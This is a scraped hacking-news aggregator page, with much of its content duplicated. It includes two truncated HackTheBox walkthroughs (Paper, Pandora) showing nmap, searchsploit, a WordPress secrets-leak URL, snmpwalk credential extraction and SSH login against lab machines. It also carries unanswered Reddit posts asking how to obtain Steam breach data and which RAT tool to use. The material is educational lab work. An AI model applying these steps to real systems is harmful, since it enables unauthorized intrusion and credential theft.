Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cybersecurity Prologue- IV
https://cdn-images-1.medium.com/max/600/1*KRTY6KPvLSLWXwyqNl_BLw.png
Chapter fourth- “Cybersecurity Threat’’ and “Cybersecurity Architecture” in cybersecurity will WOW you
Continue reading on Bootcamp »
Cybersecurity Prologue- IV
https://cdn-images-1.medium.com/max/600/1*KRTY6KPvLSLWXwyqNl_BLw.png
Chapter fourth- “Cybersecurity Threat’’ and “Cybersecurity Architecture” in cybersecurity will WOW you
Continue reading on Bootcamp »
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Chineses probably know my Steam password but I don't :(
Okay, so there's two old Steam accounts of mine which i forgot my password, one of them i also lost the authenticator, tried multipled times to reach steam support but i just cant recover them, today i managed to log in a old e-mail of mine and saw that one of the accounts have been heavily tried to log in(from china), and the attempts were only stopped because i have the email guard.
So i want to know how i get to the steam data breach to get my other account lost password. I know there was one in 2011 and one in 2018 i guess.
(If it's illegal just say and then i will not do it yk yk)
TL;DR: I want to know how i download one of the steam data breaches?(my lost acc is in there)
submitted by /u/kil_lme
[link] [comments]
Chineses probably know my Steam password but I don't :(
Okay, so there's two old Steam accounts of mine which i forgot my password, one of them i also lost the authenticator, tried multipled times to reach steam support but i just cant recover them, today i managed to log in a old e-mail of mine and saw that one of the accounts have been heavily tried to log in(from china), and the attempts were only stopped because i have the email guard.
So i want to know how i get to the steam data breach to get my other account lost password. I know there was one in 2011 and one in 2018 i guess.
(If it's illegal just say and then i will not do it yk yk)
TL;DR: I want to know how i download one of the steam data breaches?(my lost acc is in there)
submitted by /u/kil_lme
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Whats the Best and easiest Hacking Tool to do RAT windows and Linux
title
submitted by /u/myfile10
[link] [comments]
Whats the Best and easiest Hacking Tool to do RAT windows and Linux
title
submitted by /u/myfile10
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Hacked Ring Cams Used to Record Swatting Victims
submitted by /u/DrinkMoreCodeMore
[link] [comments]
Hacked Ring Cams Used to Record Swatting Victims
submitted by /u/DrinkMoreCodeMore
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Paper HackTheBox Walkthrough
Paper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access
* TCP Port Scan
* Initial Enumeration
* Find Domain Name
* Web Page Enumeration
* Searching For the Exploit
* Secrets leaking Vulnerability Exploitation
* Subdomain Enumeration
* Bot Feature Abuse
* User Flag
Privilege Escalation
* PolicyKit Exploit: CVE-2021-3560
* Root Flag
Let’s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet’s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used –sV flag which performs a service version scan against the target machine.
Flags features:
-sV: Attempts to determine the service version
nmap -sV 10.129.74.162
From the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let’s start enumerating port 80 and 443.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1
Initial Enumeration
We begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.
htttp://10.129.74.162
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1
Find Domain Name
curl -I 10.129.74.162
Flags features:
-I: Include protocol response headers in the output
Further enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1
After finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host’s file you can use any text editor such as leafpad, gedit, nano or vim.
Why do we need to add domain in the local hosts file?
The /etc/hosts file contains a mapping of IP addresses to[...]
Paper HackTheBox Walkthrough
Paper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access
* TCP Port Scan
* Initial Enumeration
* Find Domain Name
* Web Page Enumeration
* Searching For the Exploit
* Secrets leaking Vulnerability Exploitation
* Subdomain Enumeration
* Bot Feature Abuse
* User Flag
Privilege Escalation
* PolicyKit Exploit: CVE-2021-3560
* Root Flag
Let’s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet’s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used –sV flag which performs a service version scan against the target machine.
Flags features:
-sV: Attempts to determine the service version
nmap -sV 10.129.74.162
From the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let’s start enumerating port 80 and 443.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1
Initial Enumeration
We begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.
htttp://10.129.74.162
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1
Find Domain Name
curl -I 10.129.74.162
Flags features:
-I: Include protocol response headers in the output
Further enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1
After finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host’s file you can use any text editor such as leafpad, gedit, nano or vim.
Why do we need to add domain in the local hosts file?
The /etc/hosts file contains a mapping of IP addresses to[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Pandora HackTheBox Walkthrough
SummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results. Then we will dig into SNMP protocol and find out very interesting information for us which will lead us to an initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on the target’s internal port. Then we will exploit the admin console which is vulnerable to SQL injection and upload a malicious file to get a reverse shell as a different user. In the post-exploitation phase, we will abuse the SUID binary using path hijacking technique. Table of ContentInitial Access
* TCP Port Scan
* Enumeration
* UDP Port Scan
* SNMP Enumeration
* User Shell as Daniel
Horizontal Privilege Escalation
* Enumeration
* Port Forwarding
* CVE-2021-32099 SQL injection Exploitation
* File Upload
* User Flag
Privilege Escalation
* SSH Key Generate
* SUID Path hijack
* Root Flag
Let’s exploit it step by step. Initial AccessWe are going to start the assessment with the TCP/IP port scanning. TCP Port ScanLet’s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.
Flags features:
-sC : Scans with default NSE scripts
-sV : Attempts to determine the service version
Command used:
nmap -sC -sV 10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png?w=640&ssl=1
From the nmap scan, we have found there were only two ports open, which are port 80 and port 22. As usual HTTP service is running on port 80 and the SSH service is running on port 22. Http service is used for Webhosting and the SSH service is used for remote connection. SSH version is the latest and does not look vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let’s start enumerating port 80. EnumerationWe begin enumeration by accessing port 80 over the browser. The webpage does not have many interesting things, but we can see the domain name is available there which is Panda.htb. Next thing we can analyse what this website is made for, and what it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and network monitoring solutions.
htttp://10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png?w=640&ssl=1 UDP Port Scan Got stuck for some time as we did not get any lead to get a foothold into the target system, we decided to perform a UDP port scan. When we do a normal nmap scan, it only scans TCP ports but not UDP so many time UDP ports may lead us to interesting findings. After the completion of the UDP port scan, we found that SNMP port is open on its default port which is port 161. Now we can go for further enumeration against the SNMP port but let’s talk about SNMP first.
What is SNMP and what it is used for?
Simple Network Management Protocol (SNMP) is a networking protocol used for the monitoring and management of the network-connected end devices in the internet protocol netwo[...]
Pandora HackTheBox Walkthrough
SummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results. Then we will dig into SNMP protocol and find out very interesting information for us which will lead us to an initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on the target’s internal port. Then we will exploit the admin console which is vulnerable to SQL injection and upload a malicious file to get a reverse shell as a different user. In the post-exploitation phase, we will abuse the SUID binary using path hijacking technique. Table of ContentInitial Access
* TCP Port Scan
* Enumeration
* UDP Port Scan
* SNMP Enumeration
* User Shell as Daniel
Horizontal Privilege Escalation
* Enumeration
* Port Forwarding
* CVE-2021-32099 SQL injection Exploitation
* File Upload
* User Flag
Privilege Escalation
* SSH Key Generate
* SUID Path hijack
* Root Flag
Let’s exploit it step by step. Initial AccessWe are going to start the assessment with the TCP/IP port scanning. TCP Port ScanLet’s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.
Flags features:
-sC : Scans with default NSE scripts
-sV : Attempts to determine the service version
Command used:
nmap -sC -sV 10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png?w=640&ssl=1
From the nmap scan, we have found there were only two ports open, which are port 80 and port 22. As usual HTTP service is running on port 80 and the SSH service is running on port 22. Http service is used for Webhosting and the SSH service is used for remote connection. SSH version is the latest and does not look vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let’s start enumerating port 80. EnumerationWe begin enumeration by accessing port 80 over the browser. The webpage does not have many interesting things, but we can see the domain name is available there which is Panda.htb. Next thing we can analyse what this website is made for, and what it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and network monitoring solutions.
htttp://10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png?w=640&ssl=1 UDP Port Scan Got stuck for some time as we did not get any lead to get a foothold into the target system, we decided to perform a UDP port scan. When we do a normal nmap scan, it only scans TCP ports but not UDP so many time UDP ports may lead us to interesting findings. After the completion of the UDP port scan, we found that SNMP port is open on its default port which is port 161. Now we can go for further enumeration against the SNMP port but let’s talk about SNMP first.
What is SNMP and what it is used for?
Simple Network Management Protocol (SNMP) is a networking protocol used for the monitoring and management of the network-connected end devices in the internet protocol netwo[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Paper HackTheBox Walkthrough Paper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability…
URLs. Your browser uses entries in the /etc/hosts file to override the IP-address-to-URL mapping returned by a DNS server. This is useful for testing DNS (domain name system) changes and the SSL configuration before making a website live.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJA-sSKPCo38hzrygK4-w13wFptHkRicxjYDN8yD6RFly_dliuwZJjNmK8EkeUS3ZOqiIlxNZpV3NYrkf67ceAyAWFCEpH4AQgPt6AjN-tCX6oSNxLf5WTcm30rNxlsTGaJaBhP-3HQaqf-xF8oCK41HEO6xUG_Jn_3jL4Weqrb34QlCKoaCHtgXZGfA/s16000/4.png?w=640&ssl=1
Web Page Enumeration
Once we add domain name in the /etc/hosts file, we continued our enumeration process and checked HTTP and HTTPS services. From the HTTP service, we got a different page this time. The pages include a company name which is Blunder Tiffin Paper Company. Also, we can see someone has left a comment there that everyone has removed from the blog and there is only one user present now. Also, we noted a name (Jan) which can be a potential username and can be useful in our further assessment.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzKwfVeD293U3sLKFk7V8DSxWeRjlwb_B1dtdxvegZjh_Zl6Dp-Q1hfYYhLhKNoGKWZ838gCYYAAXM9YtRNUIB4GNzcOe8TEE3Z30GDp9jL6YRPf49n6OSobMxtgH8-9aZ2eELfESRAtIr_eNhOdkU6eu0q3_uuwmCMijHEhrsyItHf88xc1x96zeYg/s16000/5.png?w=640&ssl=1
Then we checked the technologies used in the web page and found it is hosted in WordPress. WordPress is popular for having various vulnerabilities in it. From the wappalyzer result, we found that WordPress 5.2.3 is used. We have used a browser-add on called wappalyzer to find out the technology stacks.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx3CcIKYfoSJnMShP0l07SmutUDoM1Sx-u1_6vrppPVq45Fhy474sBorgv_2d87cTN-byEzDI1lsxg4Q6G-iQkv2iAqOYfhXHK8qigZcTVpkah0EgInhWcCOqZguUjZCfoWLW5NHWx2wEa0xoMpuGJdJkRHRBARKrTnPDsefoHD5qITGCnmguyZnjpOA/s16000/6.png?w=640&ssl=1
Searching For the Exploit
As we have WordPress version, we searched for the exploit using Kali pre-installed tool called searchsploit. We found two exploits were there and based on our scenario we decided to go with the second one which has given a description that an unauthenticated user can retrieve secrets. Searchsploit is a command line tool with similar results as we get from the exploit database. Here are the commands to reproduce the Prove of concept (POC). Please note, -m flag is used to download the exploit.
searchsploit WordPress 5.2.3
searchsploit -m 47690
cat 47690.md
After reading the exploit we found that adding? static=1 can leak its secret contents which can be password or any other information that can be helpful for our further assessment.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpo55uVCrhlnFAVshc6jHLyAvYPke6GqMXwF4b_5Ku-tPMxlB69KlZESOCydbTCQ_a6O_wXgCHK6laiTBEEPd623t2YsEhTmxejbIlWDiItO6g-w2KGRA7U42uQ-BGlLu686Dto7c-AYX7NYgBVJ-n2-zHddN85LPEQuzrCe4IFu1zdGWFBQJQY8ERw/s16000/7.png?w=640&ssl=1 Secrets leaking Vulnerability Exploitation As exploit mentioned that adding? static=1 in the URL will leak secrets, we tested by providing the below URL and found a subdomain URL
http://chat.office.papaer/register/8qozr226AhkCHZdyY
URL: http://office.paper/?static=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Gu3ounCBf2mGq5lM4-iVrqF3eyV1xXycvwL1MovG0Numrb6lXD_Q-eSyERAYs7byWM8qCMfYQ7_QEFuplATK0aRQ8uEmgliDAdwJk6V86mKIMVPxsEWVgk68lpCJ0UOJF6C1BRXqJgU7KtKyhMaJL1h8QziObU8f4buFgUoMj5slTmIm_5V5q-sSiw/s16000/9.png?w=640&ssl=1
Let’s add chat.office.paper to /etc/hosts file again.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDmTEaiyzwAx0n2yX7ASIgOBE-CuUQsE9aHT4zxmn23er5QhuBm-8MYjb9FH-FFsg_uzBMZov__lOrX4P9g34xJGgaYjb2LpNE5m1EnfxoEV-yglvN0DKTH6Qz835gD5c35ggjL901AvpPdIsZGw9WQQwn4Ui489lJ79RCfxvFepePh33OuOv08DYUIA/s16000/10.png?w=640&ssl=1 Subdomain EnumerationAfter adding subdomain to the hosts file, we accessed it over the browser and found a rocket.chat CMS which is used for [...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJA-sSKPCo38hzrygK4-w13wFptHkRicxjYDN8yD6RFly_dliuwZJjNmK8EkeUS3ZOqiIlxNZpV3NYrkf67ceAyAWFCEpH4AQgPt6AjN-tCX6oSNxLf5WTcm30rNxlsTGaJaBhP-3HQaqf-xF8oCK41HEO6xUG_Jn_3jL4Weqrb34QlCKoaCHtgXZGfA/s16000/4.png?w=640&ssl=1
Web Page Enumeration
Once we add domain name in the /etc/hosts file, we continued our enumeration process and checked HTTP and HTTPS services. From the HTTP service, we got a different page this time. The pages include a company name which is Blunder Tiffin Paper Company. Also, we can see someone has left a comment there that everyone has removed from the blog and there is only one user present now. Also, we noted a name (Jan) which can be a potential username and can be useful in our further assessment.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzKwfVeD293U3sLKFk7V8DSxWeRjlwb_B1dtdxvegZjh_Zl6Dp-Q1hfYYhLhKNoGKWZ838gCYYAAXM9YtRNUIB4GNzcOe8TEE3Z30GDp9jL6YRPf49n6OSobMxtgH8-9aZ2eELfESRAtIr_eNhOdkU6eu0q3_uuwmCMijHEhrsyItHf88xc1x96zeYg/s16000/5.png?w=640&ssl=1
Then we checked the technologies used in the web page and found it is hosted in WordPress. WordPress is popular for having various vulnerabilities in it. From the wappalyzer result, we found that WordPress 5.2.3 is used. We have used a browser-add on called wappalyzer to find out the technology stacks.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx3CcIKYfoSJnMShP0l07SmutUDoM1Sx-u1_6vrppPVq45Fhy474sBorgv_2d87cTN-byEzDI1lsxg4Q6G-iQkv2iAqOYfhXHK8qigZcTVpkah0EgInhWcCOqZguUjZCfoWLW5NHWx2wEa0xoMpuGJdJkRHRBARKrTnPDsefoHD5qITGCnmguyZnjpOA/s16000/6.png?w=640&ssl=1
Searching For the Exploit
As we have WordPress version, we searched for the exploit using Kali pre-installed tool called searchsploit. We found two exploits were there and based on our scenario we decided to go with the second one which has given a description that an unauthenticated user can retrieve secrets. Searchsploit is a command line tool with similar results as we get from the exploit database. Here are the commands to reproduce the Prove of concept (POC). Please note, -m flag is used to download the exploit.
searchsploit WordPress 5.2.3
searchsploit -m 47690
cat 47690.md
After reading the exploit we found that adding? static=1 can leak its secret contents which can be password or any other information that can be helpful for our further assessment.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpo55uVCrhlnFAVshc6jHLyAvYPke6GqMXwF4b_5Ku-tPMxlB69KlZESOCydbTCQ_a6O_wXgCHK6laiTBEEPd623t2YsEhTmxejbIlWDiItO6g-w2KGRA7U42uQ-BGlLu686Dto7c-AYX7NYgBVJ-n2-zHddN85LPEQuzrCe4IFu1zdGWFBQJQY8ERw/s16000/7.png?w=640&ssl=1 Secrets leaking Vulnerability Exploitation As exploit mentioned that adding? static=1 in the URL will leak secrets, we tested by providing the below URL and found a subdomain URL
http://chat.office.papaer/register/8qozr226AhkCHZdyY
URL: http://office.paper/?static=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Gu3ounCBf2mGq5lM4-iVrqF3eyV1xXycvwL1MovG0Numrb6lXD_Q-eSyERAYs7byWM8qCMfYQ7_QEFuplATK0aRQ8uEmgliDAdwJk6V86mKIMVPxsEWVgk68lpCJ0UOJF6C1BRXqJgU7KtKyhMaJL1h8QziObU8f4buFgUoMj5slTmIm_5V5q-sSiw/s16000/9.png?w=640&ssl=1
Let’s add chat.office.paper to /etc/hosts file again.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDmTEaiyzwAx0n2yX7ASIgOBE-CuUQsE9aHT4zxmn23er5QhuBm-8MYjb9FH-FFsg_uzBMZov__lOrX4P9g34xJGgaYjb2LpNE5m1EnfxoEV-yglvN0DKTH6Qz835gD5c35ggjL901AvpPdIsZGw9WQQwn4Ui489lJ79RCfxvFepePh33OuOv08DYUIA/s16000/10.png?w=640&ssl=1 Subdomain EnumerationAfter adding subdomain to the hosts file, we accessed it over the browser and found a rocket.chat CMS which is used for [...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Pandora HackTheBox Walkthrough SummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results.…
rks. It is embedded in multiple local devices such as routers, switches, servers, firewalls, and wireless access points using IP addresses. It runs on UDP protocol and uses port 161 and 162 as its default port.
nmap -sU 10.129.26.243
Flags features:
-sU: Scans UDP ports
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrMrWF_XbDQb-hOAxMz3E_V4OjNuGTJJ2XJZ_UsAj4nAwIlDXyDhcXL5Skzqa_T7gvd_EX26O4iQJa73hr8RmJfRpcfeMTTjI7apvP4GENN0X1tLC9J7grBbUuQf4O83VzQkQnTjaKL0PIcBMm-asrIp6WSVx9hsU1qqNWuDxozAaP1VlHpn4ns4IHPQ/s16000/3.png?w=640&ssl=1 SNMP EnumerationOnce we found that the SNMP service is running and the port is open on 161, we are in the position to go for the further enumeration process. In order to enumerate SNMP service, we need to know what we are going to enumerate on that service which will give us important information that will be useful for future analysis and assessment. Whenever we come to enumerate SNMP, we need to focus on a couple of things such as Community Strings and versions. In most of cases, community strings is public and the version may be different in each case. There are three versions in the SNMP, which are V1, V2 and V3 which are differentiated by their features. In the table below we can see each version has different security features from weak to encrypted.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbJbPdiNTUmeELwvJAHrw1zkMb926A1K7UNtdX-m6TuzP64-S0NfYp4M_ZRgnD5596Kun3_qNXay0_YWV8fRlNqDvETybuNyORPpNHHLxEk6ixYTNQb95K12gGzCmjPT3tWtyRLrhltbBmJjYc1ct02V9xTBG3YUx0H_QPvXQMXkvFRK1ojyU-0-ZYsQ/s16000/50.png?w=640&ssl=1
We will enumerate community strings and the version with snmp-check.
snmp-check 10.129.26.243
With snmp-check, we have found that SNMPv1 is used, and the community string is public. Now we are in a position to enumerate further based on the community strings and the version. For that, we will use snmpwalk.
snmpwalk -c public -v1 10.129.26.243
Snmpwalk has given an interesting finding here, if we scroll down, we will see there a username daniel and password HotelBabylon23 is there. From here, we can think about login in via SSH as SSH port is open and we can test with found credentials.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz5_wXSsESof1EcSHqAeEVVLcP3K4o5P1XNUJTug5twycEhpeG-FaTZV0BlNN5PANFDr7kuDkE8A1s5GnFkzDP3k6qKqu3p9E5GI5yXHQp4F6bmgcCdJtXoTy0153MA32MDu2xxiQQgU3Yx6pvXA6oZXaJ5t_hLsvWfJfvFbTzUgXmE_yKWHwFRY_0IA/s16000/4.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIzhQc0atLMGu29RRqRXWw4aBoit3DSKfIscJ_nkVseoLGm7OfR9_TdUigJLJYiN9UMaOn1YtcnBVsSJlJ7Ct5h-3-Zd6wxg8XYvpYzOA8KlHj7N9YivOLB7_PIFBoOEBlRdQqDBpHtHnBQyBr0l2VrV1KTXQRR8evLJ20TuPca6M3WGnd8yUeMJ6dVQ/s16000/5.png?w=640&ssl=1 User Shell as DanielWe have successfully logged in as Daniel and tried to retrieve our user flag but unfortunately, we do not have permission to get the user flag as it is belonging to user matt. To retrieve the user flag, we need to compromise matt account then only it is possible to retrieve the flag contents?
ssh daniel@10.129.26.243
cd /home
cd matt
ls
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNqb2KiKWgPSu5AzLSuu37iyqd7SX6hZqcAWcuzvgBFWcNOvGKta1ayhlQr87k5X-aES_aAuyp3K7ys7U7Kvd3eVBxdXYaL9doeIhERwIPW7sTHI7JG99MED_rY2WBRfQ4tas6wp6gtvYIVj9ZC9ixNx4kkX-A2JoP6Ypf1PG6Hw_ie0-tJPu433z_UA/s16000/6.png?w=640&ssl=1 Horizontal Privilege EscalationHere we need to do a horizontal privilege escalation. There are two types of privilege escalations, one is vertical where we get the user shell and then just need to get root shell but, in our scenario, it does not apply, and we must go through a horizontal way where we need to compromise another user to escalate to root. EnumerationLet’s transfer linpeas and check what it brings to us. Linpeas is an automated script which is useful to find the privilege escalation vectors in the target system. In the below picture we transferred[...]
nmap -sU 10.129.26.243
Flags features:
-sU: Scans UDP ports
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrMrWF_XbDQb-hOAxMz3E_V4OjNuGTJJ2XJZ_UsAj4nAwIlDXyDhcXL5Skzqa_T7gvd_EX26O4iQJa73hr8RmJfRpcfeMTTjI7apvP4GENN0X1tLC9J7grBbUuQf4O83VzQkQnTjaKL0PIcBMm-asrIp6WSVx9hsU1qqNWuDxozAaP1VlHpn4ns4IHPQ/s16000/3.png?w=640&ssl=1 SNMP EnumerationOnce we found that the SNMP service is running and the port is open on 161, we are in the position to go for the further enumeration process. In order to enumerate SNMP service, we need to know what we are going to enumerate on that service which will give us important information that will be useful for future analysis and assessment. Whenever we come to enumerate SNMP, we need to focus on a couple of things such as Community Strings and versions. In most of cases, community strings is public and the version may be different in each case. There are three versions in the SNMP, which are V1, V2 and V3 which are differentiated by their features. In the table below we can see each version has different security features from weak to encrypted.
